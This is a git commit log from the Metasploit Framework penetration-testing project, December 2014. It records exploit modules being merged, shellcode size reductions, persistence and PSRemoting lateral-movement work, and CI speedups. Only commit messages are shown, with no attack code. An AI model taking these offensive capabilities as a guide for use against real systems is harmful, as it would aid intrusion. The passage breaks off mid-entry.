Update block_api with @schierlm's changes
2014-12-13 12:06:38 -06:00
Michael Schierl
e8728943ec
Shave off two more bytes for HTTP(s) stagers
2014-12-13 11:49:30 -06:00
Michael Schierl
69c938f65a
More shellcode golf
2014-12-13 11:49:15 -06:00
Brandon Perry
8c6b95c39c
Merge branch 'landing-4359' of https://github.com/jhart-r7/metasploit-framework into bmc_trackit
2014-12-13 11:37:57 -06:00
Brandon Perry
cd1e61a201
Merge branch 'master' into bmc_trackit
2014-12-13 11:36:30 -06:00
jvazquez-r7
bde8c380c2
Make mixin run
2014-12-13 02:46:00 -06:00
Andrew Morris
8dd5da9d64
added blog post reference
2014-12-12 18:53:26 -08:00
jvazquez-r7
b1453afb52
Land #4297 , fixes #4293 , Use OperatingSystems::Match::WINDOWS
...
* instead of Msf::OperatingSystems::WINDOWS
2014-12-12 18:19:58 -06:00
jvazquez-r7
5eb510f7bc
Use the correct variable for the filename
2014-12-12 17:40:26 -06:00
jvazquez-r7
27323bcaa5
Fix #3852 , make enable_rdp with other languages
2014-12-12 17:30:14 -06:00
HD Moore
f676b72767
Add Kademlia scanner, lands #4210
2014-12-12 16:40:58 -06:00
HD Moore
338cce02c9
Downcase the service name for consistency
2014-12-12 16:40:42 -06:00
HD Moore
e088a4862e
Deconflicts and lands #2395 , a rework of persistence
2014-12-12 16:30:24 -06:00
HD Moore
4fc4866fd8
Merge code in from #2395
2014-12-12 16:22:51 -06:00
Tod Beardsley
488f46c8a1
Land #4324 , payload_exe rightening.
...
Fixes #4323 , but /not/ #4246 .
2014-12-12 15:04:57 -06:00
Tod Beardsley
9545b6e4d6
Land #4343 , os_flavor reduction
2014-12-12 14:49:15 -06:00
Tod Beardsley
9908e0e35b
Land #4384 , fix typo.
2014-12-12 14:39:47 -06:00
HD Moore
50b734f996
Add Portuguese target, lands #3961 (also reorders targets)
2014-12-12 14:23:02 -06:00
Tod Beardsley
ac004d2770
Fix bruteforce validators to accept nil
...
bruteforce_speed isn't always required, because the speed checker
already handles nil (and presumes the user wants the fastest possible).
See also MSP-11842
2014-12-12 13:57:37 -06:00
Andrew Morris
f5374d1552
Added report_service method for database support, added port number in the print_status output, removed arbitrary comments, fixed some spacing. Ready for another review from msf devs
2014-12-12 11:57:35 -08:00
jvazquez-r7
008c33ff51
Fix description
2014-12-12 13:36:28 -06:00
Tod Beardsley
183acb9582
Land #4383 to handle Dutch correctly.
2014-12-12 13:32:21 -06:00
Tod Beardsley
89169826b6
Land #4274 , custom ssl certs on payload handlers
2014-12-12 13:25:55 -06:00
Tod Beardsley
81460198b0
Add openssl payload to distcc exploit
...
This is required to test #4274
2014-12-12 13:25:55 -06:00
Tod Beardsley
177cade6a5
Merge branch 'land-4274-ssl' into temp
2014-12-12 13:25:54 -06:00
wez3
3b6e92726c
Update outlook rb, "NL" to "nl_NL"
...
Update outlook rb, "NL" to "nl_NL"
2014-12-12 20:09:34 +01:00
jvazquez-r7
c683e7bc67
Fix banner
2014-12-12 13:01:51 -06:00
jvazquez-r7
b1f7682713
Make msftidy happy
2014-12-12 12:59:00 -06:00
jvazquez-r7
493034ad10
Land #3305 , @claudijd Cisco SSL VPN Privilege Escalation exploit
2014-12-12 12:57:00 -06:00
jvazquez-r7
047bc3d752
Make msftidi happy
2014-12-12 12:49:12 -06:00
jvazquez-r7
a1876ce6fc
Land #4282 , @pedrib's module for CVE-2014-5445, NetFlow Analyzer arbitrary download
2014-12-12 12:47:50 -06:00
jvazquez-r7
b334e7e0c6
Land #4322 , @FireFart's wordpress exploit for download-manager plugin
2014-12-12 12:41:59 -06:00
jvazquez-r7
aaed7fe957
Make the timeout for the calling payload request lower
2014-12-12 12:41:06 -06:00
Jon Hart
00f66b6050
Correct named captures
2014-12-12 10:22:14 -08:00
jvazquez-r7
98dca6161c
Delete unused variable
2014-12-12 12:03:32 -06:00
jvazquez-r7
810bf598b1
Use fail_with
2014-12-12 12:03:12 -06:00
Jon Hart
1e6bbc5be8
Use blank?
2014-12-12 09:51:08 -08:00
jvazquez-r7
4f3ac430aa
Land #4341 , @EgiX's module for tuleap PHP Unserialize CVE-2014-8791
2014-12-12 11:48:25 -06:00
jvazquez-r7
64f529dcb0
Modify default timeout for the exploiting request
2014-12-12 11:47:49 -06:00
Jon Hart
24f1b916e0
Minor ruby style cleanup
2014-12-12 09:47:35 -08:00
Jon Hart
1d1aa5838f
Use Gem::Version to compare versions in check
2014-12-12 09:47:01 -08:00
jvazquez-r7
d01a07b1c7
Add requirement to description
2014-12-12 11:42:45 -06:00
jvazquez-r7
fd09b5c2f6
Fix title
2014-12-12 10:52:18 -06:00
jvazquez-r7
4871228816
Do minor cleanup
2014-12-12 10:52:06 -06:00
jvazquez-r7
a0b181b698
Land #4335 , @us3r777 JBoss DeploymentFileRepository aux module
2014-12-12 10:40:03 -06:00
jvazquez-r7
3059cafbcb
Do minor cleanup
2014-12-12 10:37:50 -06:00
Jon Hart
74b7ecc2e5
Land #4379
2014-12-12 07:47:03 -08:00
Trevor Rosen
38bcca9d0b
Land #4368 , metasploit-credential version bump
2014-12-12 09:42:24 -06:00
Jon Hart
751bc7a366
Revert "Move to a more appropriate location"
...
This reverts commit 6c82529266 .
2014-12-12 07:42:22 -08:00
Jon Hart
6c82529266
Move to a more appropriate location
2014-12-12 07:40:37 -08:00
David Maloney
7228958738
update lockfile
2014-12-12 09:27:34 -06:00
Christian Mehlmauer
0f27c63720
fix msftidy warnings
2014-12-12 13:16:21 +01:00
sinn3r
985245e8a1
Document method
...
Fix #4366 (support dynamic_base templates)
2014-12-12 01:22:32 -06:00
jvazquez-r7
78eb3325bc
Add initial Rex Client and mixin
2014-12-12 01:20:14 -06:00
sinn3r
b8e58d0f04
Support 32 and 64-bit for exe-only, and fix -k
2014-12-12 01:13:09 -06:00
Brent Cook
fef9c67b0e
Land #3175 , OJ's TLV group refactoring
2014-12-11 22:12:35 -06:00
Brent Cook
ecd73e5901
Update meterpreter_bins to 0.0.12
...
This adjusts to the new grouped TLV format for the extapi adsi and
window list commands.
2014-12-11 22:03:23 -06:00
Brent Cook
8140ed4a45
Merge branch 'upstream-master' into land-3175
2014-12-11 22:03:03 -06:00
Jon Hart
6b117d7858
Land #4375
2014-12-11 19:01:14 -08:00
Jon Hart
65b316cd8c
Land #4372
2014-12-11 18:48:16 -08:00
Jon Hart
e5e40307e6
Land #4373
2014-12-11 18:45:53 -08:00
sinn3r
d311059e75
Fix DYNAMIC_BASE templates
2014-12-11 20:44:03 -06:00
Jon Hart
79662be8fe
Land #4371
2014-12-11 18:37:53 -08:00
Jon Hart
9bf55ef8f4
Minor improvements to datastore and http// checks in msftidy
2014-12-11 18:36:42 -08:00
James Lee
0c1d02c940
Fix event handlers on ruby 2
...
Fixes #4219
2014-12-11 20:08:45 -06:00
Jon Hart
3c2a33a316
Allow new password to be specified as an option
2014-12-11 17:26:42 -08:00
Jon Hart
a013dbf536
Correct and add more prints
2014-12-11 17:16:43 -08:00
Jon Hart
48dcfd9809
Use random security Q/A
2014-12-11 17:10:33 -08:00
Jon Hart
f208f31a33
Use correct username/domain in report_vuln
...
It would be nice if 'vulns' showed this
2014-12-11 16:59:21 -08:00
Jon Hart
70fce0bb33
Report the changed password
2014-12-11 16:56:22 -08:00
Jon Hart
f64a3be742
Avoid death by a thousand functions
2014-12-11 16:53:36 -08:00
Jon Hart
0627f708a2
Better handling of failed requests
2014-12-11 16:51:41 -08:00
Jon Hart
f2bda05d42
Correct last of the print_
2014-12-11 16:28:08 -08:00
Jon Hart
9486f67fbc
report_vuln upon exploitation with more specific details
2014-12-11 16:28:08 -08:00
Jon Hart
37d0959fd6
Include info in report_vuln. More style
2014-12-11 16:28:08 -08:00
Jon Hart
cfb02fe909
Add check support
2014-12-11 16:28:07 -08:00
Jon Hart
44818ba623
Minor style and usage updates as a result of Scanner
2014-12-11 16:28:07 -08:00
Jon Hart
0a29326ce7
Mixin Scanner. Yay speed!
2014-12-11 16:28:07 -08:00
Jon Hart
c9acd7a233
Remove unnecessary RPORT, which comes from HttpClient
2014-12-11 16:28:07 -08:00
Jon Hart
f8c25d83e5
Use get_cookies instead
2014-12-11 16:26:51 -08:00
jvazquez-r7
20836c1789
Refactor crypto usage
2014-12-11 18:18:37 -06:00
jvazquez-r7
0b2fd7ffec
Update PreAuthEncTimeStamp#encrypt documentation
2014-12-11 17:08:04 -06:00
jvazquez-r7
424ce6ad53
Add constant with CRYPTO_MSG_TYPE
2014-12-11 17:03:46 -06:00
jvazquez-r7
38a0506f2d
Refactor Crypto
2014-12-11 17:00:46 -06:00
Christian Mehlmauer
544f75e7be
fix invalid URI scheme, closes #4362
2014-12-11 23:34:10 +01:00
Christian Mehlmauer
de88908493
code style
2014-12-11 23:30:20 +01:00
Christian Mehlmauer
00b16eee1f
Land #4369 , ruby style method names
2014-12-11 23:17:18 +01:00
Christian Mehlmauer
be1440bcb9
more msftidy checks
2014-12-11 23:10:07 +01:00
jvazquez-r7
35f02e6796
Add support to encode KdcRequest
2014-12-11 15:51:54 -06:00
Tod Beardsley
af9979d30b
Ruby style on methods please
...
Introduced in #4220 . This ain't no JavaScript!
2014-12-11 15:24:30 -06:00
David Maloney
9c13183f20
use latest credential gem
...
this fixes issues with post modules trying
to set a Login's status back to UNTRIED
after it has already been tried
MSP-11782
2014-12-11 15:22:08 -06:00
dmaloney-r7
47c38ed04e
Merge pull request #4364 from todb-r7/bug/bruteforce-speed-3904
...
Modules should respect bruteforce_speed again
2014-12-11 13:19:42 -06:00
jvazquez-r7
d96206b813
Support KdcRequest#encode
2014-12-11 12:44:17 -06:00
Tod Beardsley
4eaf64afef
Don't lie about stop_on_success
...
This absolutely needs to be honored too, though.
See #4365 .
2014-12-11 12:37:13 -06:00
jvazquez-r7
3f12c5c9c5
Redo decode_asn1
2014-12-11 12:34:47 -06:00
jvazquez-r7
8d6e41fae3
Add documentation for KdcRequest
2014-12-11 12:27:26 -06:00
jvazquez-r7
162d2d39b5
Add support for KdcRequestBody decoding
2014-12-11 12:19:26 -06:00
Tod Beardsley
51762e1194
Explicitly include the HTTP Login scanner
...
This should be the last commit that fixes #3904 .
2014-12-11 11:08:08 -06:00
Tod Beardsley
b533f74024
Add a bruteforce_speed option to all LoginScanners
2014-12-11 11:06:32 -06:00
Jon Hart
24dbc28521
Land #4356
2014-12-11 09:03:18 -08:00
Brandon Perry
54e8254a82
Update bmc_trackit_passwd_reset.rb
2014-12-11 10:59:43 -06:00
Tod Beardsley
fbd1e9ba6e
Add a spec for the Base LoginScanner
...
Turns out, there wasn't one.
This tests what I've changed, at least.
2014-12-11 10:48:48 -06:00
Tod Beardsley
edf541fabe
Fix some double spacing
2014-12-11 09:39:15 -06:00
Andrew Morris
7afa87f168
screwed up formatting. updated indention at the end. ok seriously, going to bed now
2014-12-11 01:05:56 -08:00
Andrew Morris
291166e1ff
forgot to run through msftidy.rb. made a few minor corrections
2014-12-11 00:47:39 -08:00
Andrew Morris
a1624c15ae
Addressed some recommendations made by wvu-r7. Need to remove some comments, add reporting, etc.
2014-12-11 00:40:20 -08:00
Andrew Morris
22c9db5818
added detect_kippo.rb
2014-12-10 19:37:35 -08:00
Brandon Perry
67cf3e74c0
Update bmc_trackit_passwd_reset.rb
2014-12-10 20:45:54 -06:00
jvazquez-r7
39ffc0c58a
Add support for PreAuthData#encode
2014-12-10 19:48:44 -06:00
jvazquez-r7
b89dee03c6
Add PreAuthEncTimeStamp#encode support
2014-12-10 19:30:21 -06:00
jvazquez-r7
3accdb705b
Add support for PreAuthPacRequest#encode
2014-12-10 19:18:19 -06:00
jvazquez-r7
96c1370334
Add EncryptedData#encode support
2014-12-10 19:12:24 -06:00
Brandon Perry
90cc9a9bed
Update bmc_trackit_passwd_reset.rb
2014-12-10 19:05:46 -06:00
jvazquez-r7
543ec35a01
Refactor PrincipalName#encode
2014-12-10 18:57:23 -06:00
Brandon Perry
f37dc13a19
Create bmc_trackit_passwd_reset.rb
2014-12-10 18:54:37 -06:00
jvazquez-r7
475014820f
Add asn1 comments for specs
2014-12-10 18:47:41 -06:00
jvazquez-r7
5d2ff5982e
Add support for PreAuthEncTimeStamp decoding/decrypting
2014-12-10 18:33:46 -06:00
Tod Beardsley
0eea9a02a1
Land #3144 , psexec refactoring
2014-12-10 17:30:39 -06:00
Meatballs
c813c117db
Use DNS names
2014-12-10 22:25:44 +00:00
Marc Wickenden
245b76477e
Fix issue with execution of perl due to gsub not matching across newlines
2014-12-10 21:38:04 +00:00
sinn3r
9202c4f2a1
No mercy for os_flavor
2014-12-10 11:46:21 -06:00
jvazquez-r7
785ff60d8e
Add inital support for PreAuthEncTimeStamp
2014-12-10 11:25:48 -06:00
jvazquez-r7
8ec403af89
Add support for PA-PAC-REQUEST
2014-12-10 10:51:37 -06:00
jvazquez-r7
6ebfbe7271
Prefix coding
2014-12-10 09:54:57 -06:00
jvazquez-r7
11acba3324
Prefix coding
2014-12-10 09:52:23 -06:00
jvazquez-r7
6653502e68
Support pa_data parsing on kdc_request
2014-12-10 09:47:31 -06:00
Matthew Hall
ea08fc0767
modules/exploits/windows/misc/hp_dataprotector_dll_cmd_exec.rb
2014-12-10 10:28:38 +00:00
Matthew Hall
c97a3d9e2e
modules/exploits/windows/misc/hp_dataprotector_dll_cmd_exec.rb
2014-12-10 09:14:01 +00:00
Spencer McIntyre
86ae104580
Land #4325 , consistent mssql module names
2014-12-09 21:52:05 -05:00
sinn3r
87c83cbb1d
Another round of name corrections
2014-12-09 20:16:24 -06:00
jvazquez-r7
cc909ba402
Add documentation for PreAuthData
2014-12-09 19:57:16 -06:00
Jonathan Claudius
e89a399f95
Merge remote-tracking branch 'upstream/master' into add_cisco_ssl_vpn_priv_esc
2014-12-09 20:55:01 -05:00
sinn3r
bac677ec5e
Fix rspec
2014-12-09 19:47:29 -06:00
sinn3r
2d1bc9b039
Land #4346 - Msfvenom should pass the datastore to encoders too
2014-12-09 19:41:19 -06:00
jvazquez-r7
094361ff86
Require spec_helper on specs
2014-12-09 19:39:11 -06:00
jvazquez-r7
18819ad6b9
Prefix Rex
2014-12-09 19:37:42 -06:00
jvazquez-r7
0a6e42968b
Add inital support for padata
2014-12-09 19:28:40 -06:00
jvazquez-r7
e62628f1cc
Make specs pass
2014-12-09 18:52:42 -06:00
jvazquez-r7
2557780e7c
Add initial support to decode kdc requests
2014-12-09 18:48:08 -06:00
Samuel Huckins
776bad9033
Lands #4342 , update to metasploit-credential
2014-12-09 18:33:30 -06:00
jvazquez-r7
bed1e06d13
Mark EncryptedData encode as unsupported atm
2014-12-09 17:06:51 -06:00
jvazquez-r7
82549315ff
Mark KdcRequestBody encode as unsupported atm
2014-12-09 17:05:20 -06:00
jvazquez-r7
24715bf78d
Require spec_helper
2014-12-09 16:52:37 -06:00
jvazquez-r7
b84840a596
Add support to decode TGS_REQ body
2014-12-09 16:51:34 -06:00
jvazquez-r7
f236438290
Add initial support for EncryptedData
2014-12-09 16:40:44 -06:00
jvazquez-r7
2725235bc1
Add require for EncryptedData
2014-12-09 16:28:37 -06:00
jvazquez-r7
a7c1d12124
Mv KdcRequestBody spec to the correct folder
2014-12-09 16:04:17 -06:00
jvazquez-r7
c5865c6fec
Add initial design draft
2014-12-09 15:53:29 -06:00
Tod Beardsley
09617f990b
Implement BRUTEFORCE_SPEED respect (telnet)
...
This implements just for telnet, but assuming this strategy is kosher,
it's not too painful to add for the rest of the LoginScanner using the
old defaults used by `AuthBrute`.
See #3904 , @dmaloney-r7 or @jlee-r7
2014-12-09 15:40:43 -06:00
David Maloney
703f6128e6
update lock file
2014-12-09 15:37:40 -06:00
Spencer McIntyre
d74a8f6c41
Include the datastore options for the encoder too
2014-12-09 16:32:41 -05:00
HD Moore
176296681a
Fix heartbleed cert parsing, lands #4338 , closes #4309
2014-12-09 14:58:27 -06:00
Tod Beardsley
ec53498aca
Land #4333 with URL pointer, ty @wchen-r7
...
Long live msfvenom!
People who have a bug or complaint about msfencode or msfpayload should
be pointed at http://r-7.co/msfvenom-2015
See #4326 (and close it?)
2014-12-09 13:17:11 -06:00
Tod Beardsley
3bc40b8fe4
Add a link to PR #4333 in the message
...
That way, people can see why this is if they care to.
While we have a link to the blog post at http://r-7.co/msfvenom-2015 , I
fear that by the time spring of 2015 rolls around, we'll be on a
different blogging platform and the link may be busted. I'm certain
we'll still be on GitHub then, though.
2014-12-09 13:04:35 -06:00
sinn3r
a584a5982f
Clarify about how BES uses os_flavor
...
We don't. We don't use os_flavor anymore because it is no longer
implemented. We get the information from os_name instead.
2014-12-09 12:21:59 -06:00
sinn3r
c670bb72df
Land #4337 - Fix prompt coloring on Windows
2014-12-09 11:53:35 -06:00
David Maloney
7d37756e64
pull latest version of Metasploit-Credential
...
fixes multi-threaded handling of uniqueness validations
around credential objects
MSP-11757
2014-12-09 11:39:24 -06:00
Brent Cook
5f2de2eae6
Land #4329 , zeroSteiner's error messages for python meterpreter
2014-12-09 11:16:41 -06:00
Spencer McIntyre
0ee20561d4
Remove file exists check from stdapi_fs_delete_file
2014-12-09 11:03:57 -06:00
Spencer McIntyre
42710cc32e
Error messages for the python meterpreter
2014-12-09 11:03:57 -06:00
sinn3r
bb8dfdb15f
Ensure consistency for mssql modules
2014-12-09 10:28:45 -06:00
Matthew Hall
60edda4ff1
add hp data protector exploit
2014-12-09 14:12:37 +00:00
EgiX
700ccc71e7
Create tuleap_unserialize_exec.rb
2014-12-09 10:15:46 +01:00
Christian Mehlmauer
916503390d
use get_data
2014-12-08 22:49:02 +01:00
Christian Mehlmauer
fb9724e89d
fix heartbleed cert parsing, fix #4309
2014-12-08 21:58:38 +01:00
Luke Imhoff
5f730277cf
Fix prompt coloring on Windows
...
MSP-11669
Set output stream for RbReadline (rl_outstream) to the
Rex::Ui::Text::Output::Stdio, which will use translate the ANSI color
escapes to set_color calls in Windows.
2014-12-08 14:31:00 -06:00
William Vu
4a47f0fd28
Land #4334 , @todb-r7's cosmetic fixes
2014-12-08 12:03:32 -06:00
us3r777
4abfb84cfc
Upload WAR through Jboss DeploymentFileRepository
2014-12-08 19:02:51 +01:00
Tod Beardsley
909971e0bf
Margins on description, PowerShell not Powershell
2014-12-08 10:57:49 -06:00
Tod Beardsley
80dc781625
Email over E-mail
...
While I believe "e-mail" is the actually correct spelling, we tend to
say "email" everywhere else. See:
````
todb@mazikeen:~/git/rapid7/metasploit-framework$ grep -ri "print.*email"
modules/ | wc -l
19
[ruby-2.1.5@metasploit-framework](fixup-grammar)
todb@mazikeen:~/git/rapid7/metasploit-framework$ grep -ri
"print.*e-mail" modules/ | wc -l
1
````
2014-12-08 10:55:26 -06:00
sinn3r
d8da4700ea
Deprecate msfpayload and msfencode
...
See #4326 , but it does not close it.
2014-12-08 10:49:12 -06:00
Luke Imhoff
8c0610cb7a
Merge branch 'master' into feature/MSP-11671/test-optimization
...
MSP-11671
Conflicts:
.travis.yml
2014-12-08 08:46:22 -06:00
jvazquez-r7
191dc291be
Fix java_serializer specs
2014-12-07 23:45:31 -06:00
jvazquez-r7
d1d20ee614
Add #to_s
2014-12-07 17:52:39 -06:00
jvazquez-r7
564da4446e
Add print friendly to_s
2014-12-07 17:52:09 -06:00
Christian Mehlmauer
738fc78883
Land #4220 , outlook gather post module
2014-12-07 22:41:28 +01:00
Pedro Ribeiro
98e416f6ec
Correct OSVDB id
2014-12-07 17:54:31 +00:00
Pedro Ribeiro
e474ecc9cf
Add OSVDB id
2014-12-07 17:41:35 +00:00
jvazquez-r7
37fbe963b5
Land #3729 , @us3r777's Jboss deploymentfilerepository refactoring
2014-12-06 21:51:27 -06:00
jvazquez-r7
54705eee48
Fix option parsing
2014-12-06 21:50:54 -06:00
jvazquez-r7
19effa7eb9
Fix feedback's review
2014-12-06 21:47:55 -06:00
jvazquez-r7
21742b6469
Test #3729
2014-12-06 21:20:52 -06:00
Brendan Coles
42744e5650
Add actualanalyzer_ant_cookie_exec exploit
2014-12-06 19:09:20 +00:00
wez3
e7503bf69f
Merge pull request #2 from FireFart/outlook_fix
...
Outlook fix
2014-12-06 12:08:06 +01:00
Christian Mehlmauer
cc63d435c7
another whitespace
2014-12-06 09:32:22 +01:00
jvazquez-r7
ff99669cfa
Explain better error
2014-12-05 20:30:22 -06:00
jvazquez-r7
2c290e2004
Use classes short name
2014-12-05 20:16:50 -06:00
jvazquez-r7
8f403f3eea
Update documentation
2014-12-05 20:11:45 -06:00
jvazquez-r7
03740df931
Support serialization
2014-12-05 19:55:52 -06:00
jvazquez-r7
785006b684
Use references
2014-12-05 19:12:05 -06:00
William Vu
1cc6dc61cd
Land #4286 , rm documentation
...
Moved to GitHub.
2014-12-05 17:52:45 -06:00
Christian Mehlmauer
f0a47f98bc
final formatting
2014-12-06 00:38:05 +01:00
jvazquez-r7
ae608b1311
Add references to stream when possible
2014-12-05 17:35:38 -06:00
Christian Mehlmauer
f1f743804e
more formatting
2014-12-06 00:31:38 +01:00
Christian Mehlmauer
9187a409ec
outlook post module fixes
2014-12-06 00:28:44 +01:00
jvazquez-r7
13d8058fe5
Fill stream attribute
2014-12-05 17:14:37 -06:00
Jon Hart
39790a95a0
Land #4313 , @wchen-r7's fix for #4304
2014-12-05 15:08:35 -08:00
jvazquez-r7
ca164cd99f
Support the stream attribute
2014-12-05 16:52:59 -06:00
jvazquez-r7
90e2bbbff5
Refactor Contents
2014-12-05 16:05:35 -06:00
Jon Hart
da92e4705c
Land #4319 , @wchen-r7's fix for #4307
2014-12-05 12:08:39 -08:00
William Vu
2f98a46241
Land #4314 , @todb-r7's module cleanup
2014-12-05 14:05:09 -06:00
William Vu
38d1b21eba
Land #4303 , Travis build blacklist
...
gh-pages, metakitty
2014-12-05 14:03:38 -06:00
Tod Beardsley
0431720a07
Land #4294 , msfconsole speedups on module load
...
Related to #4257 and #4195 vaguely, and possibly even #4147 .
2014-12-05 13:45:11 -06:00
Luke Imhoff
53df308752
Combine cucumber and cucumber:boot into one job
...
MSP-11671
The run times for cucumber are so much faster now that `spec --tag
content` is actually the slowest job (on 1.9.3). The job is so slow
that the two cucumbers can be merged together and they will take the
same time, but we'll consume 2 fewer job slots (1 for 1.9.3 and 1 for
2.1), so the longer per job time is better as long as it does become the
longest job time.
2014-12-05 13:37:18 -06:00
Luke Imhoff
3d0fa84454
Don't install development gems on travis-ci
...
MSP-11671
Development group contains only yard+redcarpet, which is used to
generated documentation, which isn't done on travis-ci, and pry, which
is used for the msfconsole command, which isn't tested on travis-ci.
2014-12-05 13:30:24 -06:00
Luke Imhoff
328e96fed0
Don't install documentation on travis-ci
...
MSP-11671
Passs `--no-ri --no-rdoc` to gem.
2014-12-05 13:29:18 -06:00
Luke Imhoff
da35c111c7
bundler_env -> bundler_args
...
MSP-11671
`bundler_env` isn't an option, it's called bundler_args.
2014-12-05 12:46:05 -06:00
jvazquez-r7
2241653cb6
Delete self.stream initialization
2014-12-05 12:44:04 -06:00
jvazquez-r7
f5a19b9b41
Add support to decode TC_REFERENCE
2014-12-05 12:42:27 -06:00
Luke Imhoff
633b4b9e51
Disable simplecov on travis-ci
...
MSP-11671
`bundler install --without coverage` will not install `simplecov`.
Running without simplecov changes the average runtime of `rake
cucumber:boot` from (n=13) 112.50 seconds to (n=10) 32.17 seconds
(-71.41%). (-73.68% from 2c1203ba49d49603aec169eed053ab929ccdedc6.) Raw
data:
https://docs.google.com/spreadsheets/d/1vCRi_38Go3Wfq670eDCXMTSSXL1blSbk6NQsgpOqfYw/edit?usp=sharing .
2014-12-05 11:58:09 -06:00
sinn3r
4b06334455
Minor title change for mssql_enum_domain_accounts_sqli
...
We don't really do "-" for naming
Kind of stands up on a list
2014-12-05 11:42:08 -06:00
sinn3r
7ae786a53b
Add a comment as an excuse to tag the issue
...
Fix #4246
... so it will automatically close the ticket.
2014-12-05 11:26:26 -06:00
sinn3r
f25e3ebaaf
Fix #4246 - More undef 'payload_exe' in other modules
...
Root cause: payload_exe is an accessor in the TFPT command stager
mixin, you need stager_instance in order to retreive that info.
2014-12-05 11:19:58 -06:00
sinn3r
abf199f924
Remove junk code
2014-12-05 11:01:34 -06:00
headlesszeke
8d1ca872d8
Now with logging of command response output
2014-12-05 10:58:40 -06:00
Luke Imhoff
08a8cee08a
Don't require simplecov in cucumber env.rb
...
MSP-11671
All features currently use aruba to run msfconsole in a separate process
and it is that child process that needs to load simplecov. Changes
average runtime for `rake cucumber:boot` from (n=10) 122.21 seconds to
(n=13) 112.50 seconds (-7.50%). Raw data:
https://docs.google.com/spreadsheets/d/1vCRi_38Go3Wfq670eDCXMTSSXL1blSbk6NQsgpOqfYw/edit?usp=sharing
2014-12-05 10:21:58 -06:00
Christian Mehlmauer
5ea062bb9c
fix bug
2014-12-05 11:30:45 +01:00
Christian Mehlmauer
55b8d6720d
add wordpress download-manager exploit
2014-12-05 11:17:54 +01:00
sinn3r
e3f7398acd
Fix #4246 - Access payload_exe information correctly
...
This fixes an undef method 'payload_exe' error. We broke this when
all modules started using Msf::Exploit::CmdStager as the only source
to get a command stager payload. The problem with that is "payload_exe"
is an accessor in CmdStagerTFTP, not in CmdStager, so when the module
wants to access that, we trigger the undef method error.
To be exact, this is the actual commit that broke it:
7ced5927d8
Fix #4246
2014-12-05 02:08:13 -06:00
jvazquez-r7
1653101da4
Add support for Arrays of Objects
2014-12-04 20:31:38 -06:00
Jon Hart
85e0d72711
Land #4229 , @tatehansen's module for CVE-2014-7992
2014-12-04 17:20:49 -08:00
Jon Hart
f0cfcd4faf
Update dlsw_leak_capture name and print_
...
This makes it more obvious exactly what is being scanned for
2014-12-04 17:20:01 -08:00
jvazquez-r7
8e5dc27546
Support Objects with super classes
2014-12-04 19:19:42 -06:00
jvazquez-r7
4b8bdad44b
Refactor contents serialization
2014-12-04 18:28:25 -06:00
sinn3r
cfc1acfcae
Fix #4307 - Check action for nil
...
Auxiiary modules already do this, but looks like we forgot to do the
same for post modules.
I also changed the error to allow "reason" in order to be more
informative about what the user should do.
Fix #4307
2014-12-04 17:07:59 -06:00
jvazquez-r7
8c11e6047b
Add specs for the JavaDeserializer tool
2014-12-04 16:33:33 -06:00
Tod Beardsley
9f42dbd51c
Land #4317 and #4306 , fix netmask tomfoolery
2014-12-04 16:28:54 -06:00
Brent Cook
051d2f1c39
Land #4302 , zeroSteiner's fix getuid for the python meterpreter
2014-12-04 16:11:55 -06:00
Meatballs
b634bde8a1
Lateral movement through PSRemoting
2014-12-04 22:06:28 +00:00
Jon Hart
743e9fca9d
Correctly set default SECRET
2014-12-04 14:06:22 -08:00
Jon Hart
1e423f415e
Add missing opt ,
2014-12-04 14:05:17 -08:00
Spencer McIntyre
83b0ac0209
Fix stdapi_sys_config_getenv for Python3
2014-12-04 15:58:17 -06:00
Spencer McIntyre
44816b84aa
Prefer the pwd module for getuid when available
2014-12-04 15:58:17 -06:00
Pedro Ribeiro
e5bdf225a9
Update netflow_file_download.rb
2014-12-04 21:32:19 +00:00
Jon Hart
52851d59c0
Update GATEWAY to GATEWAY_PROBE_HOST, add GATEWAY_PROBE_PORT
2014-12-04 13:26:16 -08:00
Jon Hart
b35eee3935
Merge branch '4306' into 4305
2014-12-04 13:22:42 -08:00
Jon Hart
6bd56ac225
Update any modules that deregistered NETMASK
2014-12-04 13:22:06 -08:00
Jon Hart
7f425fc3ab
Configurable fix for #4305
...
Rename UDP_SECRET to just SECRET, as it is used for more than just UDP
Rename and properly document GATEWAY option
Introduce an option to configure what UDP port will be probed
2014-12-04 13:17:34 -08:00
Meatballs
e471271231
Move comment
2014-12-04 20:24:37 +00:00
Meatballs
c14ba11e79
If extapi dont stage payload
2014-12-04 20:17:48 +00:00
Meatballs
186d8bd359
Fix starts_with?
2014-12-04 20:16:56 +00:00
Luke Imhoff
2c1203ba49
"Starting msfconsole with a valid database.yml" --defer-module-loads
...
MSP-11671
Run `msfconsole` with `--defer-module-loads` to change average (n=10)
runtime of `/usr/bin/time rake CUCUMBER_OPTS="-r features"
FEATURE=features/msfconsole/database_yml.feature:150 cucumber:boot` from 57.02
seconds to 38.76 seconds (-32.03%). (-80.26% change from
288d77f31a14f4d05c7f665c2f8bbfd0c58e8d4d.) Raw data:
https://docs.google.com/spreadsheets/d/1vCRi_38Go3Wfq670eDCXMTSSXL1blSbk6NQsgpOqfYw/edit?usp=sharing .
2014-12-04 13:28:21 -06:00
Tod Beardsley
79f2708a6e
Slight fixes to grammar/desc/whitespace
...
Note that the format_all_drives module had a pile of CRLFs that should
have been caught by msftidy. Not sure why it didn't.
2014-12-04 13:11:33 -06:00
Jon Hart
f22d7191cd
Test fix for #4305
2014-12-04 10:59:57 -08:00
sinn3r
9cc04e59eb
Fix #4304 - Blank password is tried when it shouldn't happen
...
Fix #4304
2014-12-04 12:59:51 -06:00
Luke Imhoff
7dfdc508a7
"Starting msfconsole with a valid database.yml" --execute-command
...
MSP-11671
Run `msfconsole` with `--execute-command db_status --execute-command
exit` instead of running interactively and typing `db_status` and `exit`
to change the average (n=10) running time of `/usr/bin/time rake
CUCUMBER_OPTS="-r features"
FEATURE=features/msfconsole/database_yml.feature:150 cucumber:boot` from
196.30 seconds to 57.02 seconds (-70.95%). Raw data:
https://docs.google.com/spreadsheets/d/1vCRi_38Go3Wfq670eDCXMTSSXL1blSbk6NQsgpOqfYw/edit?usp=sharing .
2014-12-04 12:58:37 -06:00
jvazquez-r7
08f69da41a
Undo to_s methods
2014-12-04 12:48:05 -06:00
jvazquez-r7
b80f6c34c0
Add tool to deserialize streams from files
2014-12-04 12:47:02 -06:00
Luke Imhoff
288d77f31a
"no database connection" --defer-module-loads
...
MSP-11671
Call `msfconsole` with `--defer-module-loads` to change runtime of
`/usr/bin/time rake CUCUMBER_OPTS="-r features"
FEATURE=features/msfconsole/database_yml.feature:134 cucumber:boot` from
